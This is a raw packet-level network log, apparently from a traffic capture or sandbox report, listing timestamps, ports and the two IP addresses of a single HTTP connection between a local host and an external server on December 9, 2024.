Dec 9, 2024 15:30:15.186778069 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:15.186810970 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:15.188239098 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:15.188262939 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:15.188288927 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:15.188337088 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:15.189810991 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:15.189866066 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:15.310208082 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:15.310414076 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:15.310638905 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:15.310699940 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:15.311197996 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:15.311249971 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:15.311656952 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:15.311712027 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:15.312401056 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:15.312422991 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:15.312447071 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:15.312480927 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:15.313731909 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:15.313793898 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:15.314405918 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:15.314459085 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:15.315872908 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:15.315936089 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:15.317346096 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:15.317420006 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:15.317430019 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:15.317478895 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:15.318839073 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:15.318861008 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:15.318909883 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:15.318934917 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:15.320365906 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:15.320425034 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:15.320436001 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:15.320451975 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:15.320486069 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:15.320493937 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:15.321861029 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:15.321918964 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:15.323388100 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:15.323410988 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:15.323435068 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:15.323448896 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:15.323478937 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:15.324845076 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:15.324868917 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:15.324907064 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:15.324935913 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:15.327861071 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:15.327883005 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:15.327927113 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:15.327948093 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:15.329421043 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:15.329446077 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:15.329483032 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:15.329520941 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:15.330876112 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:15.330931902 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:15.332370996 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:15.332437992 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:15.332457066 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:15.332501888 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:15.333832026 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:15.333852053 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:15.333868027 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:15.333899021 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:15.333914995 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:15.335326910 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:15.335351944 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:15.335383892 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:15.335418940 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:15.336874962 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:15.336899042 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:15.336961985 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:15.336971045 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:15.338339090 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:15.338360071 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:15.338399887 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:15.338428974 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:15.340012074 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:15.340032101 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:15.340070009 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:15.340089083 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:15.341680050 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:15.341701031 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:15.341716051 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:15.341743946 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:15.341758966 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:15.343126059 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:15.343147039 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:15.343182087 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:15.343213081 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:15.344655037 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:15.344674110 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:15.344716072 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:15.344738960 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:15.345927954 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:15.345946074 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:15.345984936 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:15.346070051 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:15.347352028 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:15.347397089 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:15.347413063 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:15.347414970 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:15.347434044 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:15.347460032 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:15.348819971 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:15.348872900 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:15.350325108 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:15.350380898 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:15.350388050 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:15.350426912 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:15.352072001 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:15.352092981 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:15.352129936 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:15.352142096 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:15.353401899 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:15.353421926 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:15.353436947 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:15.353466988 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:15.353481054 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:15.354933977 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:15.354954958 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:15.354989052 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:15.355022907 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:15.356326103 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:15.356345892 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:15.356380939 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:15.356395960 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:15.357820988 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:15.357841015 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:15.357875109 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:15.357897043 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:15.359349012 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:15.359370947 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:15.359424114 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:15.359473944 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:15.360860109 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:15.360882044 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:15.360897064 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:15.360932112 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:15.360944986 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:15.362329006 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:15.362349033 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:15.362386942 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:15.362411976 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:15.363830090 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:15.363851070 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:15.363894939 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:15.363919020 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:15.365298986 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:15.365319014 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:15.365351915 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:15.365366936 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:15.366838932 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:15.366858959 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:15.366873980 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:15.366895914 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:15.366925001 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:15.369127989 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:15.369148016 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:15.369184017 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:15.369213104 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:15.369853973 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:15.369873047 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:15.369910002 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:15.369927883 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:15.371526957 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:15.371546984 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:15.371597052 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:15.371606112 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:15.372834921 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:15.372855902 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:15.372889996 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:15.372908115 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:15.374516010 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:15.374536991 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:15.374552011 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:15.374574900 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:15.374587059 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:15.374603033 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:15.375973940 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:15.375997066 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:15.376032114 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:15.376046896 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:15.377614021 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:15.377633095 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:15.377671003 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:15.377696991 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:15.378989935 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:15.379012108 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:15.379070997 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:15.379070997 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:15.380475998 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:15.380496025 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:15.380511999 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:15.380534887 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:15.380547047 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:15.380563021 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:15.381983995 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:15.382004976 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:15.382045031 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:15.382056952 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:15.383380890 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:15.383402109 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:15.383440018 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:15.383460045 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:15.385538101 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:15.385559082 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:15.385575056 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:15.385608912 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:15.385628939 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:15.502131939 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:15.502222061 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:15.502279997 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:15.502332926 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:15.503029108 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:15.503091097 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:15.503648043 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:15.503705025 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:15.504348993 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:15.504406929 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:15.504815102 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:15.504868031 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:15.505486012 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:15.505544901 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:15.506223917 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:15.506239891 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:15.506275892 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:15.506328106 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:15.507534981 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:15.507550955 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:15.507596970 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:15.507608891 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:15.509357929 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:15.509375095 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:15.509417057 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:15.509429932 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:15.510761976 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:15.510777950 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:15.510824919 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:15.512100935 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:15.512124062 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:15.512167931 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:15.512193918 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:15.513484955 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:15.513504028 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:15.513550997 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:15.513573885 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:15.514830112 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:15.514853001 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:15.514915943 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:15.515861988 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:15.515922070 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:15.517148972 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:15.517167091 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:15.517230988 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:15.518632889 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:15.518649101 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:15.518682003 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:15.518704891 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:15.518733978 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:15.520071983 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:15.520087004 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:15.520133972 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:15.521517992 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:15.521536112 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:15.521605015 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:15.523005962 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:15.523022890 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:15.523067951 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:15.523118019 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:15.524507046 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:15.524524927 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:15.524575949 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:15.526058912 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:15.526077032 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:15.526092052 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:15.526130915 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:15.526165009 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:15.527522087 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:15.527539015 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:15.527586937 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:15.529036999 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:15.529064894 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:15.529098034 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:15.529124975 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:15.530565977 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:15.530587912 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:15.530633926 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:15.532063961 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:15.532088995 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:15.532103062 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:15.532131910 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:15.532165051 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:15.533555984 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:15.533581018 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:15.533626080 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:15.533641100 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:15.535167933 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:15.535192966 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:15.535243034 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:15.535250902 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:15.536616087 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:15.536638975 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:15.536674976 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:15.536689997 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:15.538093090 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:15.538127899 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:15.538158894 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:15.538171053 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:15.539551020 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:15.539601088 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:15.539616108 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:15.539621115 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:15.539640903 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:15.539659023 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:15.541033983 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:15.541054010 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:15.541093111 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:15.541109085 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:15.542470932 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:15.542521954 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:15.542540073 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:15.542584896 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:15.544008017 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:15.544033051 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:15.544064999 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:15.544079065 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:15.545531034 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:15.545547962 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:15.545562983 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:15.545593977 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:15.545613050 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:15.547137976 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:15.547157049 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:15.547189951 CET	49866	80	192.168.2.5	31.41.244.11
